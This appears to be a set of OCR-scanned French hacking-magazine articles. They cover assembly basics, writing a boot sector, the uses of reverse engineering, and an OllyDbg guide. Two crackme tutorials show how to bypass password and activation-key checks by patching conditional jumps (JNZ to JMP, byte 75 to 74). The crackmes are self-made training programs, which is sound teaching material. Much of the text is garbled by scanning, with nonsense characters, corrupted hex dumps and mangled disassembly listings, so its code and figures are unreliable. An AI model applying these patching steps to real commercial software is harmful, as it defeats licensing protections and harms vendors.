Ce mécanisme permet de mettre dans la pile , I'adresse de
retour soit l'adresse de db 'bonjour, tout le monde!’,

Dés l'arrivée dans le sous programme code, nous faisons un
pop ecx qui permet de placer dans ecx l'adresse voulue.
Mous pouvons donc maintenant appeler l'interruption int
0xB0 qui va donc écrire 4 I'ecran la phrase voulue.
L'interruption int 0xB0 est utilisée aussi pour sortir du pro-
gramme (exit() ) en plagant 0 dans bl (dec bl qui valait 1)
et en plagant | dans al.

CONCLUSION

Mous venons de refaire un petit tour d'horizon de ce qui
est nécessaire de savoir pour pouvoir aborder les articles
suivants, surtout sur les buffer overflows. 5i vous éprouvez
encore des difficultés 3 comprendre, n'hésitez pas a me
contacter sur le forum : http://www.acissi.net

Franck EseL | FASm
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Un programme sur le dis- '-3;; :: 51:__?'.:_E$gﬁﬂi§; :___:..:_ T
que dur est organisé en . :_.: :_ :
differentes sections. e o i
Quelles sont-elles et que . _;;;;::_x_:_.:_. -
représentent-elles ? L

INTRODUCTION ' Votre compilateur d'assembleur ne sait pas oil sont
- les sections tant que vous ne le lui avez pas indi-

Un fichier exécutable est organisé en sections. Les | qué. C'est & la fois un avantage et un inconvénient’;

sections contiennent différentes données qui ser- | vous pouvez ainsi mettre une phrase ASCII directe-

vent au systéme d'exploitation pour exécuter Ie' ment entre deux instructions assembleur (vous ne

fichier. Il n'y a donc pas que du code exécutable | devez pas en voir I'intérét, ¢'est normal ) sans

dans un programme sur disgue dur. Un fichier qui aucune erreur. En revanche, il vous faudra utiliser

ne contient que du code exécutable (celui d'un sec- |

teur de boot par exemple) est appelé fichier flat. Il | M T

est impossible d'exécuter un fichier flat directement | Ox00000000 e j_:'j;':mqmmut

depuis le systéme d'exploitation, prenez-en compte, | ' enen 'f:- :-"5~_~_-*_++-L~-*.--~-~-~.-%--=.'. DR e R R

a titre indicatif seulement. - B R e E o :'-::"‘_3-: 53-2' & '::;':::51"

LES SECTIONS

syn:@s_m; ,ﬁﬂa,-:::m. .,111# :;};aina de carﬁctﬁres H-E tsm;.naht pﬂ:r: in’ﬂ
“Ertrea: i TP gt ;miﬁtﬂ sur 1a cha;mE a aff‘u*m'sr SHE

'hi" ""-I. i e '--F'.

----rn---i——-r.——r—————-l-—l- r-#-id-llnﬂ-ﬂ---h--ﬂ-llu—r-'— - :—__ Jiael |‘-r|‘-r.‘- J--E #-—------l-

Il y a trois sections qui sont essentielles a I'exécu- | | e

tion d'un programme : la section text, la ser:tlun e -ﬂfﬁﬂﬂh : fooin

data, et la section bss. i o e

La section text contient le code exécutable a prnpre-- o plish b‘-'i‘ S

ment parler du fichier. La section data contient les | i e e

variables globales initialisées et la section bss, Ies. s boddaly Gin s G ;":::':*' -ﬁ’s*ﬁ == al

variables globales non initialisées (donc il ne s gft i e cemp el s

que d'espace vide référencé dans le programme par | SR e in e

des symboles). L'avantage de la section .bss est - S e @“ﬂﬁf.'?': Al e

que les variables déclarées dans cette sectf-::n| '.mn::n: bﬁfﬂﬁﬂ’?;. 'j______ﬂtt““fhwt»r ﬁi = ﬂﬂfﬁ‘ﬁ’m deeil
n'étant pas initialisées, elles ne prennent pas de | G e ety '

place a la compilation... '

Les autres sections ne sont que des informations

structurées, bien souvent également essentielles & |

I'exécution d'un programme. Lorsque le programme |

est mappe en mémoire - ¢'est-a-dire qu'a partir des |

données du disque dur on crée une image mémaoire |

du programme que I'on appellera processus. On uti- |

lise ces autres sections. Certaines d'entre elles, HE L : i : : R

sont mappées dans I'espace mémoire du prnnessus| L *_w e :]UB‘-‘J.H A 510 e ERR R

avec la section text. Ainsi la section text en mémoire | ; EITL times Hlﬂ+{$ ?aﬂ dh 1“*4 G

correspond-elle & la fois au code exécutable et aux i aw UMEE i

sections nécessaires a |'exécution du processus. | i

—— o3 i
- P L H R R R

wpra Ly ]
R
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~ donne la main.

~ Par exemple, sous Linux, c'est

~ assez complique car il faut sou-
 vent charger trois secteur de boot

une directive du compilateur pour que votre phrase
soit associée a une autre section que la section |

text.
Réaliser un secteur de boot

Qu'est-ce qu'un secteur de boot ?

Un secteur de boot est un programme situe sur le |
premier secteur d'une unité de stockage ou d'une |
partition et qui est charge au démarrage du PC. Le |
programme de ce secteur a en principe pour tiche |

de charger un noyau en mémoire et de 'exécuter.

Ce noyau peut é&tre présent au départ sur une dis-
guette, un disque dur, une bande ou tout autre sup-

port magnétique. Ce tutorial détaille ce qui se

passe quand on boote sur disquette mais les prin- |
cipes expligués ici restent valables pour tout autre |
Il faut les initialiser de fagon & ce que le segment de

support.
Charger un secteur de boot en memoire

Au demarrage, le PC initialise et teste le processeur |

et les périphériques. Cette phase est le "Power On |

Self Test" (POST).

Ensuite, le PC exécute un programme en ROM, le |

BIOS, qui va essayer de lire et de charger en

mémoire le premier secteur de boot d'une unité de :
disque : le "Master Boot Record" (MBR). Si un MER |
est trouveé sur la disguette dans le lecteur, |I-es.1:§
charge en mémoire a |'adresse 0000:7C00. Sinon, |

le BIOS cherche un MBR sur une autre unité de |
stockage (disque dur, cdrom, ete.). Une fois que le |

MBR est chargé en mémoire, le BIOS passe la main |
au petit programme qu'il contient. f
Le MBR contient un programme mais aussi des don-
nées. Parmi celles<i, il y a la table des partitions. |
Cette table contient des informations sur les parti- |

tions du disque (ol elles commencent, leur taille, | -

etc.). Un MBR standard cherche sur la table des

-~ partitions une partition active, puis, si une telle par-

tition existe, il charge le secteur de boot de cette |
partition en 0000:7C00. -C'est . -

secteur contient le programme "LILO" qui, d'une
fagon interactive, va charger un troisidme secteur

| de boot lié au systéme choisi par I'utilisateur. Ce
dernier secteur va se charger puis lancer un noyau.

Que fait exactement ce programme ?

On indique tout d'abord que I'on travaille sur 16 bits
pour le codage des instructions et des données,
¢'est le mode par défaut. Ceci n'est pas encore le
début du programme, c'est juste une directive de
compilation pour que 'exécutable obtenu soit bien
sur 16 bits et pas sur 32 bits.

[BITS 16] ;7 indique a nasm
que l'on travaille en 16 bits
On commence par initialiser les registres 'ds' et
'es'. Ces deux registres du processeur indiquent la
Zone mémoire ol se situe le segment de données.

données débute en Ox7C00, puisque c'est
I'adresse ol est chargé le secteur de boot en
meémaoire.
; initialisation des segments en

0x07C0

mov ax,0x07Cc0

mov ds,ax

mov es,ax
Ensuite on initialise le segment de pile (ss) et le
pointeur de pile (sp) en faisant commencer la pile
en OxBFD00 et en la faisant finir en 0x80000.

mov ax, 0x8000 ; stack en O0xFFFF

mov S5,ax

i mov sp, 0xf000

On a donc :
- la pile gui commence en Ox8BFO00 et finit en
0x80000 ; !
le segment de données qui commence en
0x07C00 et finit en Ox17C00 ;
- le secteur de boot chargé en 0x07C00 et qui finit
en Ox07CFF. :

souvent ce deuxieme secteur de
boot qui charge le noyau et lui

pour pouvoir démarrer le noyau

d'un systéme d'exploitation (pos-

sibilité de multi-boot). Le MBR est
tout d'abord charge au démar-

rage. Si une partition active est

détectée, le secteur de boot de

cette partition est charge puis

exécuté (on a donc chargé un
deuxiéme secteur de boot). Ce

-

oximeon
nFIE
AR *
DR
N0
Oui0non
el o
¥ 5 D -
P F— sactenr de bool
T3 charpé en RAM
0xM000 .- {ocode + données)
i T
- axiee
e e
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Une fois les principaux registres initialisés, la fonc-| A la fin du fichier, il y a la directive de compilation

tion 'afficher' est appelée. Elle affiche le message | suivante :
pointé par 'msgDebut’. Cette fonction fait appel au |
service OxOe de I'interruption logicielle 0x10 du | times 510-($-$$) db 144
bios qui permet d'afficher un caractére a I'écran en | dw OxAAS55 _ S
précisant ses attributs (couleur, luminosité...). Il | Cette directive ajoute du bourrage sous forme d'oc-
aurait été possible d'écrire un message a 'écran en | tets & zéro puis le mot OxAASS afin que le binaire
se passant de cette facilité offerte par le BIOS mais | genéré fasse 512 octets. Le mot OxAAS5 en fin de
cela aurait été beaucoup moins simple & réaliser. | secteur est une signature pour que celui-ci soit
Patience ! - reconnu comme étant un MBR valide. o

; affiche un msg La pratique : compiler et tester un programme |

mov si,msgDebut | de secteur de boot

call afficher | Le programme est écrit dans un fichier qui s'appelle
Une fois le message affiché, le programme boucle "hootsect.asm”. Pour le compiler avec nasm et
et ne fait plus rien. abtenir le binaire "bootsect”, il faut exécuter la com-

end: | mande suivante :
| § nasm -f bin -o bootsect bootsect.asm

Pour lancer le secteur de boot, il faut copier le
binaire sur une disquette :
5 dd if=bootsect of=/dev/fd0

CONCLUSION

;=== NOP jusgqu'a 510 ---

Jmp end

En fin de fichier, on dé&finit les variables et les fonc-
tions utilisées dans le programme. La chaine de
caractéres affichée au démarrage a pour nom
'msgDebut’ :

msgDebut db
world !1",13,10,0
Ensuite, la fonction 'afficher' est définie. Elle prend
en argument une chaine de caractéres pointée par |
les registres DS et SI. DS correspond & |'adresse
du segment de données et Sl est un déplacement |
par rapport au début de ce segment (un offset).
La chaine de caractére passée en argument doit se

"Hello

Mous venons d'aborder un point particulier qui nous

a permis d'entrevoir les possibilités de programma-
tion en assembleur sur la réalisation d'un secteur

de boot. Cet article sort d'un site de I'université de
paris 8 ( http://inferno.cs.univ-paris8.fr/~am/tuto-
ral/) qui regorge d'exemples et approfondit les

terminer par un octet égal a 0 (comme en C). notions.
=7CFF ™
s o |G N
' -] &
de données :
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tage est connu, il n'est plus sécurisé. Il est tnujnursi ne sont pas, ou partiellement, documentés. On
possible grace au reversing de retrouver cet algo-| peut aussi faire du reversing pour évaluer la qualité
rythme et donc de décrypter un fichier. | et la robustesse d'un logiciel.

DRM Techinologie ' Le Cracking .

Depuis ces derniéres années, afin de stopper la| Et pour finir, bien sur, le reversing est le passe

’ — > == _ copie illicite de musiques, de films, une technologie | temps favori des crackers qui utilisent toutes ces
dite DRM (digital rights management) a été develop- | techniques afin de contourner les protections logi-
pée. Les Crackers utilisent le reverse engineering | cielles, telles que les serials, les mots de passe,
pour tenter, et souvent réussir & contourner ces pro-| les limites de temps, etc.
tections et surtout pour comprendre comment fone- | Le crack consiste & explorer un code exécutable, a

tionnent ces protections. - localiser les protections utilisées et a modifier le
' code de facon & supprimer les effets de ces protec-
Reve : : z L'audit de programmes - tions. Ceci fait, le cracker écrit un patch qui est un
Le rse engineering est le procédé qui permet 1 . exécutable qui va modifier les codes des program-
d'extraire des connaissances, des concepts de toutes Le reversing est aussi utilisé pour auditer, pour la | mes cibles,
choses rég Reve ictait bi sécurité, des programmes. Le désassemblage du | i o
a3 ql.lell'hl : IJI'I'Il 1 MEA IO LE I'Sil:lg existait bien . programme et son analyse permet de découvrir des | Le Reversing est il legal ? _
ntquel' e ne congoive IEEordlnateum, le fait trous de sécurité et donc de les résoudre en les | La question qui se pose surtout est : quell impact
d’acheter un appareil photo, une nouvelle voiture ou modifiants ou en créant des patchs et dieu sait | social et économique le reverse engineering peut
tout autre chose et de le démonte pour voir com combien de patchs il existe pour les différents u.rirpi avoir sur notre société ». Le Reversing n'est pas illé-
. sté fabri E|II§ I‘. voir ment dows ;). Je parle, bien sir, du closed-source car | gal en luiméme, c'est |'ufilisation que I‘qn en fa:rt
il a ete estdu rse Englneering. Mais nous pour l'open-source, le code est connu et dispc}ni-! qui peut devenir illégale. La meilleure st::ll,{tmn serait
allons nous cantonner ici, bien sur a l'univers du pc. = ble... | ' que tout code soit libre et diffusable, mais 13, ¢'est
. de l'utopie.
Développement de logiciels - Pour découvrir certaines failles de sécurité, il peut

' étre utile de procéder a du reverse engineering... il

Dans le développement logiciel, le reversing est| faut savoir que la loi frangaise interdit de révéler
trés utilisé pour découvrir comment créer une inter- une faille de sécurité si sa découverte découle d'un

et article ne va pas s'attaguer au reverse engi- | de gros matériels: un pe, des logiciels spécialisés
opérabilité entre différents softs qui pour certains | reverse engineering.

neering proprement dit, mais essayer de remet- | (windasm, ollydb, hexedit...) et un cerveau.
tre les choses en place. Nous n'allons pas voir |

de code, Je vais essayer de vous montrer que le Les Applications du Reversing
reversing n'est pas que du cracking et que le |

Franck EBeL |[FASM

cracking n'en est qu'une infime partie. . Les Wirus et Vers
|
Le Reverse Engineering : Avec I'avénément d'internet, la prolifération des
Préesentation ? virus et vers, s'est accentué et on peut maintenant
- infecter des milliers de pc en quelgues heures.
Le Reverse Engineering est actuellement utilisé Le Reversing est autant utilisé des deux cotés de la 3 .
pour obtenir des données manquantes, des idées chaine : Le créateur de ces « malwares » va utiliser : ‘_”f““'i"f;'_:?f-'-"i“"i

et des concepts qui ne sont pas librement accessi- le reversing pour détecter une faille dans des 05 ou
bles. En effet, ces informations appartiennent a | des logiciels pour permettre & ses créations de -
quelgu'un qui ne veut ou ne peut pas les partager s'infiltrer dans les machines. De |'autre cité de la r
ou elles ont été perdues ou détruites. Les logiciels ' chaine, les développeurs d'anti-virus vont examiner
vont donc étre « disséqués » pour découvrir leurs ' ces malwares afin d'en trouver une parade pour
secrets afin d'en refaire un similaire ou I'améliorer. | pouvoir les détecter et les éradiguer.

L'art du reversing est maintenant un hobby trés |

populaire qui est de plus en plus pratiqué, remar- | La Cryptographie

quez le nombre de personnes qui adorent ouvrir un

poste de tele, une radio, un décodeur pour regarder | La cryptographie a toujours été la base de la sécu-
comment il a été fabriqué, quels composants sont | rité, quoi de plus sécurisé que de crypter vos don-
utilisés, quelles astuces ont &té inventées... Neées pour communiquer avec quelgu'un par mail,
Pour faire du reversing en informatique, pas besoin | par exemple. Mais dés gue I'algorythme de cryp




Onsedit snuuentque le reversing
est compliqué, que c'est fait pour
les experts. Je ne vais pas vous
mentir; il faut quelques bases en
assembleur, mais ce n'est pas
aussi compliqué que I'on voudrait
vous faire croire. Utiliser les bons
outils est une aide précieuse.

OllyDBG
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32 bits avec une interface intuitive. Il va nous
permetire de desassembler un programme, de
- visualiser le code en assembleur, de voir le contenu

i 01IyDbg est un analyser, debugger et assembleur

- des registres, de la mémoire...

Ja vous présente Ollydbg

Vous pouvez télécharger ollydbg a I'adresse sui-
| vante : http://www.ollydbg.de
| une fois téléchargé et installé, vous pouvez Iam:er
| ollydbg et ouvrir un exécutable.
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(1) : ToolBar

(Certaines fonctions ne servent pratiqguement
jamais, je ne les expliquerai pas ici)

(F3) sert a ouvrir un fichier

a désassembler

== gramme ouvert (s'il est en cours d'exécution,
il se ferme puis se recharge)

cours d'exécution _
(F9) sert & exécuter le programme (au cas ol

exemple)

que dessus)

I'exécution en pas & pas

trer dedans en pas a pas

== Jusqu'a ce qu'il y ait une instruction RET (pra-
tigue pour sortir d'une fonction)

] sert & se positionner & une certaine adresse
dans le programme

faut toutefois faire un clic droit=Search for=All refe-

renced text strings, avant de pouvoir voir quelque-
chose)

(2) Offsets |
Position dans le programme. Pour voir les offsets |
réels (ceux dans le fichier exécutable) clic !
droit>View=Executable File

Pour ajouter un label sur une ligne, appuyez sur "'
puis entrez le nom de votre label.

(3) Code ha:ltadémmal i
Ici est afﬂché ia val;: hexa des instructions en

. .;.....If | 1L .. :- ) ¥ r: . . - - H{ =
= R e,

tﬁ. % L -.fj- i&ur*""“
vﬁﬂ[ﬁgﬁ:!e@hqﬁe ur Ile.% 5 Fiﬂu"il

hstru M';g : I h-*- 1-:-4;;'5 #AA

.
e

(F7) sert & rentrer dans une fonction lors de |

(F8) sert & exécuter les fonctions sans ren- |

—T

' Ta
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. ainsi que leurs arguments et/ou vos commentaires.

Pour entrez un commentaire, appuyez sur ';' et
entrez le texte de votre commentaire.

' (6) Registres généraux
(CTRL+F2) sert a recharger le dernier pro- |
- que qu'ils ont été modifiés & I'instruction précé-
- dente.

(ALT+F2) sert & arréter le programme en |

(7) Flags

Les flags peuvent étre modifiés en double<cliquant
il est en pause sur un BP - Break Point - par |

Ici se trouvent les registres. La couleur rouge indi-

dessus,

(F12) sert & mettre le programme en pause | (8) Fenétre d'état

(chez moi le programme plante lorsque je cli- |

lci se trouvent des informations complémentaires
lors de |'exécution pas & pas, comme la valeur
d'une variable, si un saut est pris ou pas,...

(9) Fenétre de Dump

' Vous voyez ici le code hexadécimal d'une partie de
(CTRL+F9) sert & exécuter le programme |

I'exécutable en mémoire. Pour aller & une position
précise : clic droit dans cette

 fenétre>Goto>Expression et vous entrez |'adresse.
- Wous pouvez ici aussi donner un label & une
. adresse. Pour cela vous vous positionner & la bonne
sert a afficher les chaines de caractéres
trouvées lors de I'analyse du programme (il |

adresse puis vous appuyez sur ' et vous entrez le
label.

| (10) Fenétre de la pile

|(11) Info complémentaires

Ici sont affichées des infos, comme une erreur qui
s'est produite, le nombre de fonctions trouvées lors

- de I'analyse, etc.

' (12) Etat
Indique I'état du programme {F‘AUEED RUNNING,
| TERMINATED) .

u o1 Ty B £

¥
41
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lion .msaéﬁi}a prati-

;Wﬁt‘p %ﬁﬂ ;:.‘!Hh'iers

i i '. . 1 _!_ J
L E?‘}\ m,%ﬁ'k Vous trouverez des exemples et la prise en main

ﬂ'ﬂlly f commentaires

- d'ollydbg de cet article sur ce site: http://dea-
- monftp.free.fr/deamoncrack/Tuts /Crisanar/introQOll

lci se trouvent les fonctions reconnues par Dllz.r y.htm

Franck EBer | FaSm




o Pelallesuan

) ) - L'instruction en cours d'exécution est grisée. - Vous tombez sur une instruction de comparaison
ous avonsvu ; :
Dans l'article précédent, nous Le déroulement du programme s'arréte ( nous = CMP gui compare quelgue chose avec 4D2,

les commandes disponibles dans avons dii renseigner notre login dans la fenétre dos | En dessous nous voyons stack

nllydbg L'expérienuennus montre gue, et un mot de passe, j'ai mis login : fasm pass : ss:[0022FF54]=00000D6A qui correspond & la
ndre et o ndre, rienne. 3434). valeur contenue dans la pile a ce moment.

pour appre comp Nous pouvons maintenant tracer pas & pas le pro-  Si vous transformez ces valeurs hexadécimales

vaut une bonne mise en pratique. gramme tout en observant le contenu des regis- | (4D2 et DBA) en mode décimal comme vu dans I'ar-

s tres. - ticle précédent, on trouve respectivement 1234 et

Pour cela cliquez sur - 3434,
deux fois. . Donc 3434, c¢'est ce que je viens d'entrer et le CMP
INTRODUCTION : Le Programme et vous arrivez a I'endroit du programme qui
- contient cette phrase.

| mmpare donc 3434 avec 1234.
Ecrivez le petit programme en C donné c-dessous et | Vous trouvez un peu plus bas, le scanf qui permet

Sk
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2 £ Fornat = "hignvenus s
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compilez-le. Pour ce faire, je vous rappelle qu'il faut - d'entrer le passe au clavier. Nous allons placer un, Hog
&crire la ligne de commande : gcc -0 programme pro- | breakpoint (point d'arrét) qui va permettre au prod Eﬁ‘g
gramme.c, si vous avez bien sOr appelé votre pro-  gramme de s'arréter quand il arrivera & la ligne.; 1P

' Pour cela, sélectionner |'adresse currespﬂndante:
| (00401340) et appuyer sur FE L'adresse est alnrag
colorée en rouge. -

Lancez le programme

LR .

gramme programme.c
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Testez maintenant votre programme. |l vous §
demande un login puis un mot de passe et vous
donne une réponse guand le mot de passe esl
valide ou non. ;
Lancez ollydbg puis ouvrez le programme que vous |
venez de compiler. !
Faites maintenant une recherche sur les chaines de |
i caractéres (cliqguez & droite dans la zone du pro- |
i gramme, puis sur search for puis sur all references |
f
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text string). 3 Breakpoint

cliquez deux fois sur « donnez votre mot de passe » |
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Si je relance le programme et que je rentre mainte-
nant comme login fasm et comme password 1234,
le programme me souhaite la bienvenue. J'ai donc
trouvé le mot de passe.

Utilisation de Hexedit

Il nous est possible, pour des raisons guelcongues,
de vouloir modifier un programme afin de le rendre
utilisable.

Nous avons vu dans le programme précédent
gu'une comparaison avait lieu entre un pass entré
au clavier et un le bon pass. Si le pass entré au cla-
vier n'est pas le bon, la comparaison est mauvaise
et done on fait un saut conditionnel vers la partie du
programme qui nous dit « mauvais password ».
Done, si on arrive @ modifier ce saut, on pourrait
entrer dans le programme si on entre un mauvais
mot de passe.

La valeur hexa de JNZ SHORT crackme. 00401362
vaut 75 16, le 75 veut dire branche si non egal. |l
nous faudrait donc changer le branche si non égal
(75) par un branche si égal (74).

Utilisons donc Hexedit : lancez hexedit, ouvrez le

crackme que vous avez réalisé et faites une recher-

che sur la valeur hexadécimale.

0000 0400 0000
0oon 4000 0000 U

A6Q00020 BOGO DOO 00RO U000 0000 0000 G000 DOBD .........cooowns

pODO00S0 GOOG OO0 Q000 0000 QGO0 D000 BOOD QUDD ..........
MODONDAD GELF BADE OOB4 O3CD Z1R& O14C COOL S468 ........0..L.

OO0O00SD €973 2070 FIGF &7F2 4lsD 2063 B16E GEWF ih program canno
OOOOODED 7420 G265 2072 TSEE 2069 GEJ0 444F 5320 v be rum in DOS

M00000T0 GDAF €465 JEOD ODOA 2400 0000 D000 DUOD wode .
DOOOOORO 5045 000D 4001 0500 BEFS 3844 0OIC 000D PE. .L..
Q00000Y0 3002 0000 EOOGO 0702 OBOL 0238 QOIE 000D ©..

AOOODOCH 0400 000G 0100 0000 Q400 0000 0000 QOO0
0OGDO BOTT COOC 0004 0000 C2BA 0OO0 0300 0ODD | FdWhe
oOO00GED TO0G 2000 OOLD 0000 G0OC 1000 D010 00CO
DOODOOFD DOGD 0ODOD 1000 G000 DODG DOOD DGO DOgD | Ve
OOOG0 100 0040 0000 SCO% 0000 aoog o000 0000 Dooo M
DOnOa1L0 ooon ooon 0000 0000 QOO0 Good aao0 QD00 I+ ASON
00000120 0000 0000 000D 000D 0000 0000 QOO0 DOODD

ED*-

. ..H.

QDOGO0AD D28 0000 00C2 0DOO DOLO OO0 GOL0 000D “
00000OE0 OGI0 0000 0000 4000 0010 0000 0002 0OOo N

00000130 0000 0OGO 0000 OGOOOD OOOO DOOD 0000 Oo0D

ooo00i40 000G 0000 GOOO 0000 0000 0000 QOO0 0DO0D ..........
Q0600150 0000 000D O0GO 0000 QOO0 0000 Q000 000D ..........
00000160 0000 0000 QUG DOuad GO0 0000 G030 0900 . ..iaeaa

Vous pouvez maintenant changer le 74 en 75 ou
inversement, enregistrez le crackme, lancezle et

testez-le.
Conclusion

Avec ce petit exemple, nous venons de cracker
notre premier crackme. Vous pouvez maintenant
vous lancer seul dans |'aventure passionnante et
prenante du reversing. Ouvrez un navigateur et lan-

cez Google, effectuez maintenant une recherche en

indiquant crackme et amusez-vous !

Franck Esel [FaSm |
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~ Le reversing ave

- Ollydhg -~

Fasm vous a présenté Ollydbg, un analyseur, debuggeur et
as._?remhleur 32 bits doté d'une interface intuitive. Nous allons
aujourd’hui mettre en application ce formidable outil pour pas-
ser un premier type de protection : les checksums.

De l'utilité des checksums...

Lors du numéro précédent, Fasm vous a montré
comment passer une protection basée sur la comy

__paraison avec une valeur enregistrée directement

dans I'exécutable du programme. Vous |'avez
constaté, ce type de protection n'est vraiment pas
flable puisqu'un simple désassemblage, puis une
reconnaissance des chaines de caractéres avec
Ollydbg suffisent. Le checksum, ou somme de
contrle en bon frangais, est une valeur calculée a
partir d'une suite de bits par un algorithme nommé
fonction de hashage, et permet généralement de
vérifier, par exemple, gu'un téléchargement s'est
correctement déroulé (souvenezvous des fichiers
MD5 sur les serveurs ftp). Eh bien, ce systéme per-
met aussi de protéger des systémes informatiques

valaur attendue, Alnsl la veileur attendué n! appamlt

.pas B ﬂralr. et si Ia fﬂnctﬁm de hash age a-st dif fici-
] lement rrré!;ersible ort a gagné. Enfin presque.,
chez tout de. mﬁme que. ies aigns de mutkamﬂa fj-::

ne sont pas fait pour retrouver le contenu original, ~ (

1) .;:j-::g.ﬁEIH]'ﬂl’-xEE,ﬁm un méme ¢ maﬂmm R
i : -.:=hﬂ:p ,ffmmw,physlcs nhh::-state edufhprewettfhe:-:e-

! ﬂﬁllﬂﬂﬂﬁhﬁﬁ ‘qui-deviennent alors genan-
tés dans le cas des prntectluns Quelgues algorith-

mes de checksums : MD4, MD5, CRC, SHA1,
SHAZ.

. A\"Elﬂt de: ITI g
plus efficacement. En effet,.on-ne-compare pius R piire las m’amﬁ@ - _-Eﬂm
_-saisie de I'litilisateur & 1a valeur attendue mais le |

ecksurm de fa saisie de I'utilisateur a gelui.ge la -
;:-:ware Dey-Ci, par e:emn‘l?&. '

ihtip: Hr}#dawnlﬂads EﬂUfEﬁ'fﬁ.{,géﬁJ;WdEV-
_ cp{ft{dgmpﬂﬂﬂ.ﬂ

--In:ms ]’ES' mffér'en‘ts uutlls

Cela ne suffit pas...

Demandezvous pourquoi les ingénieurs de chez
Macrovision bossent sans relache sur leur protec-
tion SafeDisc ! Et oui, ¢a semblait trop beau ! Cela
vient du fait que votre CPU est bien obligé, & un
moment donné, de faire la comparaison entre la
valeur saisie par |'utilisateur et la valeur attendue,
puis d'effectuer certaines instructions en fonction
de ce résultat : vous accorder I'acciés ou vous reje-
ter, par exemple. Et tout ceci dans le seul langage
qu'il peut réellement comprendre, I'assembleur,

Préparation
de 'environnement de test

L S L
B ety Fe T W ek
e e e . .

Hﬂtﬂ?f exe} ou d ectement le

dit/hexedit.exe). Les plus aventureux doivent com-
piler ici le code source donné dans |'encadré
<<Source C du CrackMe=>.

Installezvous maintenant confortablement, c'est
parti :-)
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s Avant méme de se lancer dans le désassemblage et BSCHT miagman s o !

B T N e R ! . . = R ASCII 8/,* de **

AR R le code assembleur, étudions en boite nolre {sans !%II ﬁﬂ?ﬁ“r"'”

o i avoir le code source sous les yeux) le comporte- mﬁ e L T TP BN BHARED)

; 5] T & - T T ared=-ptr. ="
s ment du CrackMe : exécutezle simplement. Vous RSCIT =Burhie Frol s ik o

constatez gu'il nous demande une clé d'activation.
Tentons alors "0123456789". Le programme
répond alors "Erreur de validation..." et nous [ede-
mande une clé d'activation. Méme aprés plusieurs
tentatives, le comportement reste identique. MNous
pouvons supposer que tant gue la cle d'activation
reste invalide, le programme continuera dans cette
voie. Nous allons maintenant ouvrir les entrailles de

celui-ci.

Les chaines de caractéres trouvées dans le programme

Dissection du programme... . Maintenant remontez légérement dans le code, | breakpoints. Il serait bien d'atteindre le troisieme !
vous pouvez observer la demande de saisie de la | Allez parlons processeur x86. Lors des 2 lighes pré-
Lancez Ollydbg et ouvrez le binaire. Souvenezvous clé d'activation {DxfID:LECE]. _ _ - cédents I'affichage du message d'erreur, un test est
que le message "Erreur de validation" apparait en Posez des breakpoints a ces trois endroits avec F2, | effectué : TEST EAX,EAX, puis un saut si non null
cas d'échec. Nous allons tenter de ce rendre dans puis lancez |'exécution par FQ Rien ne se passe,  vers le message de sutlzcés : JNEI SHORT
la partie du code qui affiche ce message car |a VEri- ¢'est normal | Vous avez atteint le premier point d'ar- | crackme.00401309. Donc, si lE. saut ne s effectue
fication ne doit pas étre loin. Ollydbg nous simplifie ret, l:r.:ntlrlmez I'exécution avec F9. Saisissez des | pas, le message d'erreur est a_fflf;hfé et I'on retourne
le travail - faites un clique-droit sur la zone de code clés d'activation, et avec cette méme touche, remar- | a demande de la clé d'activation via un saut : JMP
assembleur puis sélectionnez "Search For" et vali: quez les allées et venues entre les deux mémes @ SHORT crackme.004012C3, un peu plus bas.

dez "All referenced text strings". Une nouvelle fené-
tre apparait alors avec la liste de chaines de ca_ra-::—
tares trouvée dans le code. Regardez qui est 13, a

la quatrigme ligne ! Et & la cinguiéme ! Sans atten- La clé de voiite de la protection du programme...
drE'I [:quU{}I"IS sur "ACSI OA, "Erreur de"™". D“ydbg - . e T N e
nous améne directement a I'endroit du code oU se A2 CPU - main thread, module crackme
situe cette chaine (& I'adrésse Ox4012F7 pour moi). aadelzAdll . 2800 € &
: A ea4pizA7|l . CIEE B4 SHR EAX,4
e | D lignes de code plus bas, | affichage dui‘ﬂ{';izf:}aggf ggjg-;%gﬁ . CiE® o4 % m I B B e g
s i 5 W ud & H
.| de remerciement est effectue (0 as401283|] . MOU EAX,DWORD PTR SS:CEBP-18C]
Seaa1eel] - CALL orackme. 00401450
o | L i j e -l- or Me s
Une boucle tant que la clé dactivation est invalide 77 pad@i2cal] > HOU DUORD PTR SS:LESP1, corackne.00403001] | ASCIT “Cle d"activ
- ; T ae4812CAl] . CALL <{JMP.&msvort.printf printf —
goda1zcril . LEA EAX,DWORD PTR S55:LEBP-1881
pede120s!] . MOU DWORD PTR S5:[ESP+4],EAY
a848120%91] . MOU DWORD PTR SS:[ESP).crackme.8848301¢] ASCI1 "Hs284"
ao4aizeel] . CALL <JMP.SMSvert.scant > coanf
epaa12es|] . LEA EAX,DWORD PTR SS:CEEP-1881
peqo12eB|] . MOU) DWORD PTR SS:[ESP], EAX
8 AA4012EELL - CALL crackme.B88481323
aespizrzll . TEST ERX,EAX :
ae4pi2FEll 78 12 _crackme. 808401309 — e
ao4B1ZFEN) « E8 CDOSB088 CALL <JMP.&msvort.printf)> printf
pado1303|] . 8508 TEST ERX,EAX
pa461385|] v 74 JE SHORT crackme.00481369
padai=2a7il .~EB JHP orackme, 084812C3
i} Dadai 369 MO DWORD 823 [ESP], crackme. 00403838 1| ASCII BA,"Merci d°
1 aadai210|] . CALL <JMP.&msvert.printf : printé
il agp1ais!] . HOU DWORD PTR 58:[ESP], crackme.080409062! ] ASCIT “pause”
eed4e131CHE » CALL <JMP.tmsvort.sustemn) SYStEr
1 oada1321|) . LEAVE :
1 sodaizz2il. RETM
i ooqe1323| s FUSH EBP
\esi=l G
aadn1329!] . HOU DWORD PTR
oode1330i] . HOU DWORD PTR
aade12a7|] > HOU ERAX :
aadpisaall . HOU DWORD >

e

— "
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Passons a l'attaque...

Nous allons donc changer le saut conditionnel (JNZ)
vers le message de succés en saut normal (JMP).
Doublecliquez sur l1a ligne de code : JNZ SHORT
crackme.00401309, une boite de dialogue apparait
et remplacez JNZ par JMP et décochez “Fill with
NOP's® qui permet d'annuler I'effet d'une ligne de
code, ce qui nous ne concerng pas ici. Validez par
"Assemble”, fermez la boite de dialogue et relancez
I'exécution. Et voila | Avec n'importe quelle clé vous
atteignez le troisiéme point d'arrét.

Rendre persistant nos petits
changementis...

Il reste un outil que nous n'avons pas encore utk-
lisé, I"éditeur hexadécimal. Ce dernier va nous ser-
vir a appliquer en dur nos modifications.
Repositionnez-vous sur la ligne que l'on a modifie,
puis clique-droit, sélectionnez "view", et enfin "exe-
cutable file". Une fenétre apparait et la premiére
